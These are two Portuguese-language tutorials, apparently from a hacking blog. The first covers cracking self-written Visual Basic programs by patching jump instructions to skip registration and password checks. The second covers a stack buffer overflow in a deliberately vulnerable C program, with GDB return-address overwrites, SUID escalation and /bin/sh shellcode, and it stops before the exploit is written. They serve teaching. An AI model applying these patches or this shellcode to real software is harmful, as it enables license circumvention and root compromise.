INTRODUÇAO    Neste post eu ensinarei o basico sobre o mundo do cracking(como crackear programas)… Crack de alterar o código binario de um programa pra fazer com que ele faça algo que você queria… como não validar um login ou algo assim.   Antes  de  colocar a mão na massa sujiro que corra atraz de algum materia sobre assembly… Você precisa de saber o básico sobre assembly..  Vai  algo muito enxuto sobre alguns  comandos  ASM  que serão necessário neste tutorial: *  Call  ->  Call  quer  dizer  chamar…  ele pula pra  posicao do código que e passado como parâmetro. ex: Call 00401144   ;isso vai pular pra posicao 00401144 do código * JMP    -> jmp(jump -> Salto, pulo)  faz a mesma coisa que call…    A diferença é que com jmp não e possível retornar ao código… já com call se aparecer um  ret(return = retorne)  então ele segue para a linha logo apos o call Esta são duas instruções  de salto incondicionais… que quer dizer que se você usa-las, o programa saltara independente  de  qualquer  coisa //Gostou né!!!. Vamos agora ver somente duas instruções condicionais: * JE     -> JE(Jump if equal) e uma  instrução que ira pular se um valor X for igual a um valor  Y… * JNE    -> Se você for esperto deve  perceber  que essa e a negação da outra… JE(Jump if not e qual) vai  fazer  um  salto se um valor de X não for igual a um valor de Y… JO jump if overflow JB jump borrow  (borrow = menor   above = maior) A lógica do cracking  Estamos chegando  lá, vamos  antes  explicar  como que se crackeia um programa simples pra depois colocaremos a mão na massa. A lógica do cracking é a seguinte. Quando você digita algum serial ou algo assim: o  programa  verifica  se o serial e valido ou não??  Então como seria para burlar essa proteção, essa verificação em ASM? Você tem alguma idéia do que uma hora ou outra vai aparecer no código?? Si você disse que não, então vou te responder > uma ora ou  outra  vai aparecer uma instrução de salto(aquelas que apresentei no comeco)… que quando verdadeiro vá para a parte do código que diz que o serial e  verdadeiro e outra pra quando o serial for falso, Deu pra entender? vamos tentar! –  je 00127889 => se o serial for igual então pula pra 00127889 Deu pra entender + ou – ?? então o que essa instrução faria se você trocasse o je por um jne assim:    –  jne 00127889 => ???? “Se o serial não for igual então pula pra 00127889″… Mais você já sabe que a posição 00127889 da memoria é a parte onde o programa irá    executar as ações caso o serial for valido? se você trocar je por jne. Mais nós podemos melhorar isso! nem vale a pena escrever essa merda =\.. como ficaria se trocassemos nosso jne por um simples jmp ?? ISSOOOO!!! Não verificara  mais  nada=] Então ele pulara sem depender do serial esta certo ou errado 🙂 entaum ficaria assim: –  jmp 00127889 => Pula pra posical 00127889 da memória. Achou fácil? Agora tem um pequeno problema.. como vamos fazer isso ?? vamos disassemblar nosso programa, vê aonde ele pula e troca a instrucao 🙂 Essa é a primeira parte para o crackeio de um programa. Para isso  eu  uso  o W32Dasm. programa que muita gente usa pra esses fins, mais nele eu não sei  como alterar…  então  vamos  pegar  um  editor de hexadecimal para podermos alterar nosso programa…  Usarei  o Visual Basic para nos ajudar com os cracks, mais poderia ser qualquer programa que de pra abrir arquivos em binário. Mauns a massa Bem… Finalmente chego a hora de sairmos da teoria e passarmos para a pratica. Digo logo que não pretendo ensinar tudo sobre cracking.. Nos alteraremos dois programas… não será programas conhecidos pois eu não tenho nenhum exemplo bom para demostrar e também não tenho muito tempo de ficar procurando vulnerabilidades em programas assim, E também não quero ter problemas com os caras que fizeram eles. Os dois  programas  que nós crackearemos serão feitos por nós mesmos para fins de aprendizagem somente… o primeiro  dele e um programa que só verifica se já esta registrado ou não. se ele tiver, então aparece uma MSG dizendo que esta.. Se não aparece outra dizendo que não está validado… segue o código dele(em VB): Para quem não sabe nada de vb, Basta deixar um comentário pedindo uma explicaçao de como inserir o codigo. +++++++++++++++++++++++++++++ Sub Main()     Dim Registrado As Boolean     If Date = “19/12/2004” Then ‘ Vamos dizer q ele expiro a um dia =]         Registrado = True     Else         Registrado = False     End If     If Registrado = True Then         MsgBox “Programa registrado!”     Else         MsgBox “Programa não registrado!”     End If End Sub +++++++++++++++++++++++++++++    Compile este código e execute… Veja que aparecera a mensagem “Programa não registrado!” sempre que você executar ele… então podemos dizer que o serial já expiro ou algo assim. Agora  abra o executável no W32Dasm para poder descompilar ele..  mais não tem importância… o que você sabe sobre o programa?? isso mesmo..    1 -> Ele não esta registrado    2 -> Sempre aparece a mensagem “Programa não registrado!” Então  o que você tem que  fazer  e ir  em  Search -> Find Text e localizar por “Programa não registrado!”… Você achara esta frase na seguinte linha: —- * Possible StringData Ref from Code Obj ->”PPrograma não registrado!” —-   Então vá subindo até achar a linha q possui o seguinte: — * Referenced by a (U)nconditional or (C)onditional Jump at Address: — O que essa linha quer dizer?? Quer dizer que é o inicio de algum código e que algum lugar pulo para esta posição… então que posição seria esta… veja abaixo desta linha: — * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:004016F3(C) — Repare que ele nos mostra um endereço de uma posição no programa… então quer dizer que  nesta  posição(004016F3) tem alguma instrução que pula para esta parte do código.. que é a  parte  onde  nos  diz que o programa não esta registrado… certo?? Então vamos  para  a posição 004016F3 do código.. pressione Shift+F12 e digite o endereço… Aonde nos fomos parar??? — :004016F3 7543                    jne 00401738 — Isso mesmo, É um “pule se não for igual”… então o que isso faz?? simples.. se o programa não estiver  registrado  então ele vai para a parte onde nos mostra a mensagem… então o que nos temos que  fazer??  colocar je ou jmp ?? não mesmo.. porque se não ele sempre irá dizer que não esta  registrado… o que fazer então?? Alterar a hora do windows pra poder  usar  até quando quiser?? Concerteza não!!! Vamos simplesmente tirar esta instrução do  nosso  programa… você pode estar pensando: só deletar ela então né?? eu respondo.. você pensa, mais que pena que esta errado… isso porque quando o programa e compilado.. ele gera os offsets(endereços de memória) baseado no nosso código… então se nos tirarmos esses dois bits do nosso programa… todos os offsets depois dessa instrução serão decrementados de dois bytes… então qualquer  instrução de salto que pule para depois desta instrução ira parar no lugar errado. então o que fazer? você só tem que trocar esses dois BYTES por dois NOP’s… esse é um comando que eu esqueci de falar… NOP = No  Operation… então ele não faz nada =] então quais bits seriam estes? Você esta  vendo  aquele numero em Hex entre o endereço e o comando? isso mesmo… aquele  7543.. ele é o  comando  “jne 00401738” em linguagem de maquina..   Esses  comando  estão  em hexadecimal.. se você pegar cada parte dele 75 43, verá que ele são dois  caracteres “\x75\x43” que é o valor dele no arquivo executável… então abra o nosso executável em um editor hex qualquer.. e procure pelo valor 75 43…  verifique se existe mais de um… se existir você terá que procurar mais especificações…  como por exemplo o valor do comando de antes e o valor do comando seguinte: — :004016F0 8945CC                  mov dword ptr [ebp-34], eax :004016F3 7543                    jne 00401738 :004016F5 8D559C                  lea edx, dword ptr [ebp-64] —    Nos caso você terá que procurar por:    89 45 CC 75 43 8D 55 9C Se mesmo  assim  existirem mais de um tente ser mais amplo… bem.. mais no nosso exemplo só existe uma instrução com o valor 75 43… então no editor hex troque o valor desses 75 43 por  90 90 respectivamente que são dois NOPs… para substituir nosso jump para nenhuma operação =] Agora salve seu  programa(com outro nome pra evitar problemas) e execute ele… VIVAAAAAAAAA!! ->  “Programa registrado!” Agora você  só precisa de fazer um crack pra ele… não vou colocar como eu faço em vb.. mais é só você abrir o programa em binário localizar pelo texto: strNormal = Chr(Val(“&H75”)) & Chr(Val(“&H43”)) e trocar pelo valor: strCracked = Chr(Val(“&H90”)) & Chr(Val(“&H90”)) Ai quando você salvar seu programa você tera alterado ele. Mais veja como seria um código basico em VB para isso: ++++++++++++++++++++++++++++++++++++++++++++++++++++++ Dim bf as String strNormal = Chr(Val(“&H75”)) & Chr(Val(“&H43”)) strCracked = Chr(Val(“&H90”)) & Chr(Val(“&H90”)) bf = Space(FileLen(“ex1.exe”)) Open “ex1.exe” For Binary Access Read As #1     Get #1, , bf Close #1 bf = Replace(bf, strNormal, strCracked) Open “ex1[cracked].exe” For Binary Access Write As #1     Put #1, , bf Close #1 ++++++++++++++++++++++++++++++++++++++++++++++++++++++    Viu como é simples d+ da conta?? Uma coisa que  você deve  ter em mente é o seguinte! O ASM varia de processador pra processador… então se aqui  no meu PC o endereço de pulo foi 00401738… no seu pode ser diferente. então  não adianta copiar e colar o código e pensar que vai dar certo porque não vai… eu fiz esse código pra essa compilação que eu acabei de fazer… Pois  isso  que as vezes quando o programa é simples você acha o crack pra alterar o exe.. mais quando o programa possui diversas compilações – como um jogo complexo por exemplo –  o máximo que você poderá achar é o executavel do jogo já crackeado. Vamos agora ao nosso segundo exemplo pratico.. vamos ao projeto:    – Crie um novo projeto no VB(adoro essa linguagem…)    – Adicione um botão(cmdVerifica) e uma caixa de texto(txtSenha.Text) em form e um novo formulário(Form2)    – Coloque o seguinte código: +++++++++++++++++++++++++++++++++++++++++++ Private Sub cmdVerifica_Click()     If txtSenha.Text = “chuck_newbie” Then         Form2.Show     Else         MsgBox “Senha invalida!”     End If End Sub +++++++++++++++++++++++++++++++++++++++++++ Para quem nao tem nocao alguma sobre este codigo, Ele fala o seguinte: Si a senha digitada for igual a chuck_newbie então, abra a pagina form2. se não dará uma mensagem de senha invalida. Obs: si você não tem noção alguma de programação, Pare agora de ler este tutorial e va aprender pelo menos o básico de linguagem de programação e algoritmo. Agora  compile  e  execute.. Você não sabe a senha… então digite qualquer coisa e veja o que aparece… “Senha invalida!” ….  agora  abra  o  executável no W32Dasm e procure por essa string…    Você achara ela na seguinte linha: — * Possible StringData Ref from Code Obj ->”SSenha invalida!” —    Agora vá subindo até achar a linha — * Referenced by a (U)nconditional or (C)onditional Jump at Address: — Pegue o  endereço  que esta logo abaixo desta linha… que se você não se lembra é o endereço que possui um salto para esta parte do código.. — * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:00401F55(C) — que no meu caso é 00401F55… agora vá para esta posição do código: — :00401F55 0F8484000000            je 00401FDF — Esta aê  nosso  pulo… ele vai dizer que a senha é invalida se for igual.. você pode estar se perguntando  porque ele pula se for igual.. simples… porque o JE não quer dizer que a senha é igual a senha  digitada…  mais  sim  que a comparação feita seto  os  flags  de  um  jeito  que  quer  dizer isso. mais isso não vem ao  caso, pois  esse tutorial não é sobre ASM… o que você tem que pensar é que se alguma coisa for igual a  outra  então ele vai dar que a senha é invalida… então você só tem que fazer o mesmo esquema que  anterior…  retirando esta instrução do seu programa… mais como nos  sabemos?  Não  podemos simplesmente  tirar… temos que substituir esta instrução pelo mesmo tamanho dela, só que executando nop’s =] Se você quiser editar ele em hex fique a vontade… mais já que eu não tenho nenhum aqui prefiro fazer o crack mesmo. Não se esqueça de verificar se existe mais alguma instrução igual a essa antes de substituir… Mais por nossa sorte não tem… então vamos ao crack… Ele só tem que substituir 0F8484000000 por 909090909090 isso mesmo… um monte de nops    O código do nosso crack deveria ser algo como: ++++++++++++++++++++++++++++++++++++++++++++++++++++++ Dim bf as String strNormal = Chr(Val(“&H0F”)) & Chr(Val(“&H84”)) & Chr(Val(“&H84”)) & _             Chr(Val(“&H00”)) & Chr(Val(“&H00”)) & Chr(Val(“&H00”)) strCracked = Chr(Val(“&H90”)) & Chr(Val(“&H90”)) & Chr(Val(“&H90”)) & _              Chr(Val(“&H90”)) & Chr(Val(“&H90”)) & Chr(Val(“&H90”)) bf = Space(FileLen(“ex1.exe”)) Open “ex1.exe” For Binary Access Read As #1     Get #1, , bf Close #1 bf = Replace(bf, strNormal, strCracked) Open “ex1[cracked].exe” For Binary Access Write As #1     Put #1, , bf Close #1 ++++++++++++++++++++++++++++++++++++++++++++++++++++++ Se você for esperto desenvolverá funções para facilitar o código… olha como fica meu código com as funções que eu desenvolvo: ++++++++++++++++++++++++++++++++++++++++++++++++++++++ Private Sub cmdPatch_Click()     Dim sNormal As String     Dim sPatch As String     Dim R As Integer     If txtF.Text = “” Then Exit Sub ‘ txtF contem caminho do arquivo     sNormal = Bin(“0F8484000000”)     sPatch = Bin(“909090909090”)     R = Patch(txtF.Text, sNormal, sPatch)     If R = CRACKED Then         lblS.Caption = “CRACKED!”     ElseIf R = CORRUPTED Then         lblS.Caption = “FILE CORRUPTED OR ALREADY CRACKED!”     Else         lblS.Caption = “ERROR!”     End If End Sub ++++++++++++++++++++++++++++++++++++++++++++++++++++++ Vamos agora fazer uma coisa um pouco mais complicada… veja o código abaixo: ++++++++++++++++++++++++++++++++++++++++++++++++++++++ Sub Main()     Dim Registrado As Boolean     If Date = “19/12/2004” Then ‘ Vamos dizer q ele expiro a um dia =]         Registrado = True     Else         Registrado = False     End If     If Registrado = False Then         MsgBox “Programa não registrado!”     Else         MsgBox “Programa registrado!”     End If End Sub ++++++++++++++++++++++++++++++++++++++++++++++++++++++ Ele faz  a  mesma coisa que o anterior com a única diferença que ele verifica se não esta registrado no “if”! então grave em um novo projeto, compile e execute.. você verá que realmente ele faz o mesmo que o anteriores.. agora abra ele no w32dasm e tente crackealo como  a gente tem feito até agora… Ta lendo ainda né?? mais digo logo que você não conseguirá… pra evitar esse tipo de problema você só tem que ficar atento ao código do programa… vamos passo a passo… abra no W32Dasm e procure por “Programa não registrado!” OBS: Algumas vezes você não conseguira achar o resultado da string… se isso ocorrer tente novamente só que procurando somente por parte dela.. nesse caso você também pode tentar localizar “não” ou “não registrado”.. isso fica ao seu critério… achando a frase vim o segredo… nos sempre subimos no código procurando o inicio dele até achar uma parte de uma instrução que salta pra ele… mais nesse caso a instrução salta pra parte falsa do código… então o que você tem que fazer… você tem que perceber.. que o salto esta dentro deste próprio código. então vá subindo até achar alguma das instruções de salto.. achei uma a três linha acima: — :004016F2 7543                    jne 00401737 — O que essa belezinha ai faz?? simplesmente pula se uma coisa não for igual a outra. Você pode estar pensando “e daí??”… bem… o que aconteceria se essa coisa FOR igual a OUTRA coisa?? ele iria pra parte do código onde aparece a mensagem de não registrado… mais uai… pra onde ele pula então… pra saber isso basta pegar o endereço no qual ele pular e ver o que ele executa… GoTo / Goto Code Location => Digite: 00401737 e clique em OK   VIVA!! Você viu aonde nós caímos: — * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:004016F2(C) | :00401737 8D559C                  lea edx, dword ptr [ebp-64] :0040173A 8D4DDC                  lea ecx, dword ptr [ebp-24] * Possible StringData Ref from Code Obj ->”PPrograma registrado!”                                   | :0040173D C745A464134000          mov [ebp-5C], 00401364 :00401744 C7459C08000000          mov [ebp-64], 00000008 — Caímos na posição caso o programa estiver registrado. então como que a gente vai crackiar isso?? bem… não podemos tirar o jne que pula pra ir se não ele nunca vai pular e vai sempre dar “Programa não registrado!”… então nos temos que fazer com que ele pule pra essa parte do código independente de ta registrado ou não… e como fazer isso?? simples.. nos fazemos o salto sem condição! e temos que fazer isso trocando o “jne” por “jmp” que é um salto incondicional… mais ai complico um pouco né?? ixi… É mais fácil  do que você pensa… procura no código todas as instruções jmp que pular pra algum endereço e veja o que ela tem em comum.. Segue alguns exemplos: — :00401096 FF253C104000            Jmp dword ptr [0040103C] ….. :00401650 E9E9E9E9CC              jmp CD2A003E ….. :00401788 EB1C                    jmp 004017A6 — Você consegue perceber alguma semelhança?? É porque realmente não tem nenhuma semelhança pelo modo de salto… no primeiro exemplo ele salta convertendo o endereço… no segundo ele saltou pra algum lugar da memória que esta fora do código do programa(uma API em uma DLL por exemplo).. e no terceiro exemplo ele salta pra uma parte do nosso código… VIVA!!.. É a terceira que nos queremos… pois queremos pular para uma parte do nosso código.. que é a parte onde o programa esta registrado. vou tentar explicar melhor… — :00401788 EB1C                    jmp 004017A6 — *   EB = JMP          -> Pule para *   1C = 28(decimal)  -> O código que ta a 28 posicoes daqui    Entaum voltando ao nosso JNE: — :004016F2 7543                    jne 00401737 — *  75 = JNE          -> Se naum for igual pule para *  43 = 67(decimal)  -> 67 posicoes a fente    Pra clarear nos temos que fazer o seguinte: — :004016F2 EB43                    jne 00401737 — *  EB = JMP          -> Pule se condicao nenhuma para *  43 = 67(decimal)  -> 67 posicoes a fente Tah ai como nos crackiamos nosso código… temos que trocar o 7543 por EB43…isso fará com que o JNE vire JMP e não contara mais nenhuma condição. OK! vamos ao nosso crack… mais antes temos que verificar se existe mais alguma instrução igual a esta… e se não  tiver codamos nosso crack alterando 75 43 por EB 43: O código do nosso crack pode ser algo como: ++++++++++++++++++++++++++++++++++++++++++++++++++++++ Dim bf as String strNormal = Chr(Val(“&H75”)) & Chr(Val(“&H43”)) strCracked = Chr(Val(“&HEB”)) & Chr(Val(“&H43”)) bf = Space(FileLen(“ex1.exe”)) Open “ex1.exe” For Binary Access Read As #1     Get #1, , bf Close #1 bf = Replace(bf, strNormal, strCracked) Open “ex1[cracked].exe” For Binary Access Write As #1     Put #1, , bf Close #1 ++++++++++++++++++++++++++++++++++++++++++++++++++++++ Bem… espero que tenha dado pra dar uma clareada sobre como crackiar programas. Quero deixar bem claro que eu crackei e fiz cracks usando o VB… mais com isso é possível crackiar programas feitos em qualquer linguagem e fazer cracks com em qualquer linguagens também… Si for fazer alguns testes, então aconselho a fazer naqueles  jogoguinhos mais ruins do mundo inteiro. Que até os programadores que fizeram eles, não vão si importar. To certo! hehe ~Bye~

Iae galera,

Este tutorial é bem explicativo, de como explorar uma falha em um programa.

Então vamos começar

Stack overflow – esta é uma das técnicas mais fáceis(pelo menos que eu acho).

Não ensinarei a criar shellcodes e essas  coisas,  sei  que  e  relacionado  ao assunto  mais  segue  um  caminho totalmente  diferente com relação  ao  que  eu  quero  passar  para  vocês. Vejam o meu post que eu estou disponibilizando um livro de buffer overflow. Não percam, estou disponibilizando vários livros que eu mesmo estou traduzindo. Dêem uma olhada no blog, e procure sobre alguns dos meus livros.

Introdução

Um processador e formado por uma ULA(Unidade Lógica Aritmética), uma Unidade de Controle e pelos Registradores.

Registradores  são pequenas  áreas da memória(dentro do processador) que servem para armazenar  alguns dados para serem processados para assim não precisar de ficar pegando e tirando dados da memória!  Mais  isso  tem  um  poder  quanto  a  limitação.   Não  pense que esses dados de memórias  chegam  aos  MBytes  muito  menos aos KBytes… estou falando em registradores de alguns Bits.

Isso nos da uma limitação quando nós carregamos um programa… porque não conseguirmos executar todas as instruções sem a perda de alguns dados… Para isso existe a pilha…

A pilha(stack) é uma forma de ampliar a nossa área de atuação…   Ela é uma região da memória que foi separada para armazenar alguns dados do processamento de um programa. Vejamos a utilização de uma função em C:

——————————-

Soma (10, 4);

——————————-

Talves, o processador poderia colocar esses valores nos registradores. mas se fossem numero muito grande ou se o numero que eu quisesse

somar fosse maior que o numero de registradores? Isso ele resolve facilmente…

ele simplesmente empurra (push) esses valores para a pilha… Só que ele não pode

empurrar o 10 e depois o 4 porque a pilha não tem esse nome em vão. Ela tem esse nome justamente porque ela funciona como uma pilha de livros…

Se você colocar um livro em cima da pilha, quando você retirar, você vai tirar o

ultimo que você colocou já que ele esta no topo… Então para processar esses

parâmetros passados e necessários empurrar o 4 e em seguida o 10:

——————————-

push 4

push 10

——————————————————————————————-

Então vamos ao nosso Primeiro programa bugado(vulnerável)

Agora vamos ver como um programa faz para separar uma área de stack para

armazenar um valor! Vamos fazer o seguinte programa em C:

++++++++++++ vuln01.c +++++++++++++++

/*

Primeiro exemplo de programa bugado a stack overflow para o tutoria de Stack Overflow.

Escrito por chuck_newbie, mas em qualquer tutorial e mesma coisa .

chuck_newbie@hotmail.com

*/

#include <stdio.h>

int main(int argc, char *argv[]) {

char buffer[256];

if (argc < 2) {

printf (“Use: %s <string>\n”, argv[0]);

exit(0);

}

strcpy(buffer, argv[1]);

printf (“Você digitou: %s\n”, buffer);

}

++++++++++++++++++++++++++++++++

Esse e um simples programa que separa uma área no stack para armazenar

vários caracteres(no caso foi 256). Em seguida ele pega o primeiro argumento passado

pelo usuário e copia para dentro dessa variável supondo que o usuário não digite

mais que 256.

“Mais que 256”, eu falo isso porque quando você declarou a variável para aceitar até 256 caracteres, o sistema separo espaço no stack para armazenar esse valor..

Então ele disse “essa área vai ser para o variável buffer e ela terá o máximo 256 bytes… ou seja… ninguém mais vai usar ela!” e o resto do sistema não usa esse espaço na memória… mais tem um porem… Ele pode muito bem usar o que tem antes e o que tem depois…

E ele irá usar para armazenar dados importantes para nosso programa.

E se colocar-mos mais, o que aconteceria?

Vamos testar?

————————————-

newbie@hostnotfound:~/técnicas/stack_overflow$ gcc -o vuln01 vuln01.c

newbie@hostnotfound:~/tecnicas/stack_overflow$ ./vuln01

Use:  ./vuln01 <string>

newbie@hostnotfound:~/tecnicas/stack_overflow$ ./vuln01 chuck_newbie

Você digitou: chuck_newbie

newbie@hostnotfound:~/técnicas/stack_overflow$

————————————-

Agora entendeu como ele funciona? Ele simplesmente pega o valor que eu digitei como parâmetro e copia para dentro da variável buffer! Mais veja o seguinte:

————————————-

newbie@hostnotfound:~/técnicas/stack_overflow$ ./vuln01 `perl -e ‘print “A”x300;’`

Você digitou: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Falha de segmentação

newbie@hostnotfound:~/técnicas/stack_overflow$

————————————

Para quem não conhece perl, eu explico; única coisa que eu fiz agora, foi multiplicar o “A” por 300, que o resultado deu trezentos A.

Então, quando eu fiz essa multiplicação, eu mandei esse tanto de “A”, para o programa bugado, e deu erro no nosso programa:

É obvio porque deu ERRO, mais vou explicar. É Porque nós colocamos mais dados no buffer do que ele suportava.

Isso fez com que fosse sobrescrita alguma área de memória importante para o funcionamento do nosso programa.

Essa área nada mais e do que o endereço de retorno da função “strcpy”.

Debugando com o GDB

Vamos usar o programa GDB(GNU Debugger) para saber o que o sistema faz no nosso programa:

——————————–

newbie@hostnotfound:~/tecnicas/stack_overflow$ gdb vuln01

GNU gdb 6.0

Copyright 2003 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type “show copying” to see the conditions.

There is absolutely no warranty for GDB.  Type “show warranty” for details.

This GDB was configured as “i486-slackware-linux”…

———————————-

Agora vamos disassemblar a função main

———————————-

(gdb) disassemble main

Dump of assembler code for function main:

0x080483c4 <main+0>:    push   %ebp

0x080483c5 <main+1>:    mov    %esp,%ebp

0x080483c7 <main+3>:    sub    $0x108,%esp

0x080483cd <main+9>:    and    $0xfffffff0,%esp

0x080483d0 <main+12>:   mov    $0x0,%eax

0x080483d5 <main+17>:   sub    %eax,%esp

0x080483d7 <main+19>:   cmpl   $0x1,0x8(%ebp)

0x080483db <main+23>:   jg     0x80483f7 <main+51>

0x080483dd <main+25>:   sub    $0xc,%esp

0x080483e0 <main+28>:   push   $0x80484f4

0x080483e5 <main+33>:   call   0x80482d0

0x080483ea <main+38>:   add    $0x10,%esp

0x080483ed <main+41>:   sub    $0xc,%esp

0x080483f0 <main+44>:   push   $0x0

0x080483f2 <main+46>:   call   0x80482e0

0x080483f7 <main+51>:   sub    $0x8,%esp

0x080483fa <main+54>:   mov    0xc(%ebp),%eax

0x080483fd <main+57>:   add    $0x4,%eax

0x08048400 <main+60>:   pushl  (%eax)

0x08048402 <main+62>:   lea    0xfffffef8(%ebp),%eax

0x08048408 <main+68>:   push   %eax

0x08048409 <main+69>:   call   0x80482f0

0x0804840e <main+74>:   add    $0x10,%esp

0x08048411 <main+77>:   sub    $0x8,%esp

0x08048414 <main+80>:   lea    0xfffffef8(%ebp),%eax

0x0804841a <main+86>:   push   %eax

0x0804841b <main+87>:   push   $0x8048506

0x08048420 <main+92>:   call   0x80482d0

0x08048425 <main+97>:   add    $0x10,%esp

0x08048428 <main+100>:  leave

0x08048429 <main+101>:  ret

0x0804842a <main+102>:  nop

End of assembler dump.

(gdb)

—————————————-

Vamos tentar entender alguma coisa dai!

Não e necessário saber Tudo.

Vamos começar nas duas primeiras linhas:

—————————————-

0x080483c4 <main+0>:    push   %ebp

0x080483c5 <main+1>:    mov    %esp,%ebp

—————————————-

Esse e o procedimento inicial de qualquer programa C compilado!

continuando:

—————————————

0x080483c7 <main+3>:    sub    $0x108,%esp

————————————–

Essa instrução subtrai 0x108(264) “ds” posição do stack(Stack Pointer – SP).

Isso serve para declararmos uma posição no stack para uma variável, e essas

coisas.

Podemos observar que existe varias chamadas(calls) para outras partes

da memória… Mais tem um porem na instrução call, você sabe como ela faz

para poder retornar na instrução seguinte?

O que eu quero saber é como o programa sabe em que endereço os “call” foram executados para poder voltar quando terminar de executá-lo!

Simples…

O nome desse endereço, é endereço de retorno(Return Address) e ele ficam armazenados no stack..

Olha que legal!

Então vejamos… Se nos separamos espaço para nossa variável de 256

caracteres e um pouco acima(isso e pilha) separamos um espaço para o

endereço de retorno o que acontece se nos colocarmos mais de 256 caracteres?

Para ficar mais claro veja o esquema?

PILHA

———————————————————————————–

| buffer[256]          | mais alguma coisa | endereco de retorno |

———————————————————————————–

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

|——————————————————————————->

Percebeu que uma hora nés sobrescrevemos o endereco de retorno?

Entao vamos ver isso na pratica 🙂

Vamos imprimir na tela, 272 “AS”, e mandar para nosso programa que está separando 256 bits.

——————————

(gdb) r `perl -e ‘print “A”x272;’`

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /home/newbie/tecnicas/stack_overflow/vuln01 `perl -e ‘print “A”x272;’`

Voce digitou: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.

0x41414141 in ?? ()

(gdb)

——————————

Deu um erro de segmentação!

porque aonde esta 0x41414141?

—————————–

0x41414141 in ?? ()

—————————–

OBS: quando você estiver estudando este tutorial, baixe o programa debuger, e faça os mesmos teste, pois os resultados que estamos pegando está la.

VOLTANDO..

Você pode estar se perguntado o que isso prova. qual e o valor HEX do

caracteres A ? 0x41 ?

o programa tentou apontar para a posição AAAA da memória!

Se ainda não ficou muito claro vamos ver o seguinte:

——————————

(gdb) r `perl -e ‘print “A”x268 . “ABCD”;’`

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /home/newbie/tecnicas/stack_overflow/vuln01 `perl -e ‘print “A”x268 . “ABCD”;’`

Voce digitou: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAABCD

Program received signal SIGSEGV, Segmentation fault.

0x44434241 in ?? ()

(gdb)

—————————–

Agora ele tentou saltar para o endereço 0x44434241 = BCDA.. Uai, mais eu

Não digitei ABCD no final…

Sim amigo… mais se lembra que no stack o ultimo a entrar e o primeiro a sair?

Nesse caso ele empurro(push) o caractere “D” para o ultimo…

Entao ele foi o primeiro a sair(0x44).. Mais com isso nos só conseguimos fazer

um simples ataque DoS no sistema para killar algum programa e isso não nos interessa

muito! Então o que podemos fazer mais?

Como você percebeu… nós conseguimos alterar para onde o programa saltará.

Então porque não fazemos ele saltar para uma posição da memória que tenha um código

que realmente de para executar?

ta começando a clarear?

Nós podemos executar qualquer código dentro do sistema!

Agora entra um outro assunto mais antes vamos pegar um valor importante para nosso exploit inicial:

a posição da stack(Stack Pointer ou ESP) para fazer nosso exploit inicial. Veremos

que podemos usar um artifício para não precisar de saber esse valor mais inicialmente

é bom saber-mos:

————————

(gdb) info reg esp

esp            0xbffff420       0xbffff420

(gdb)

———————–

Agora vamos ao outro assunto que eu disse agora pouco!

————————————————————————————————–

Programas SUID

Programas SUID são programa que tem o bit mais ativado(chmod +s vuln01)

isso faz com que ele seja executado com as permissões  do super usuário(root)..

mais você fica limitado só a esse programa… não adianta tentar colocar ele

em background e digitar ‘id’ esperando um uid=0(root) que você  vai se decepcionar!

Aí, que nos entramos…

Se esse programa estiver vulnerável a overflow nós podemos

executar algum código dentro dele… então  nós so precisamos de executar um

/bin/sh para abrir uma shell como root… já que o programa que executo ele está

rodando com as permissões do root!

Qual código colocar na memória?

O código que deveremos colocar na memória se chama shellcode(código

de shell)… só  q ele deve ser escrito em linguagem de maquina para ser executado!

Veja o post que eu disponibilizo um livro de shellcodes em português. Logo, baixe o livro e estude. O shellcode que nos executaremos e o seguinte:

————————————-

char shellcode[] = “\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”                                   “\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”

“\x80\xe8\xdc\xff\xff\xff/bin/sh”;

————————————

Se você assustou, então faça o que eu disse o livro, que você vai entender como criar uma shell.

O que você precisa de saber de ante mão e que esse código  faz o mesmo que:

execl(“/bin/sh”,”/bin/sh”,0);

Só que em linguagem de maquina!

Escrevendo o Exploit

Para, aprender a criar um exploit. Veja em um de meus posts que eu estou disponilizando um livro traduzido do metasploit.

Agora que temos a shell,  vem a parte mais legal de tudo…

Vamos fazer um programa que explora esse nosso programa fazendo ele executar o nosso shellcode!

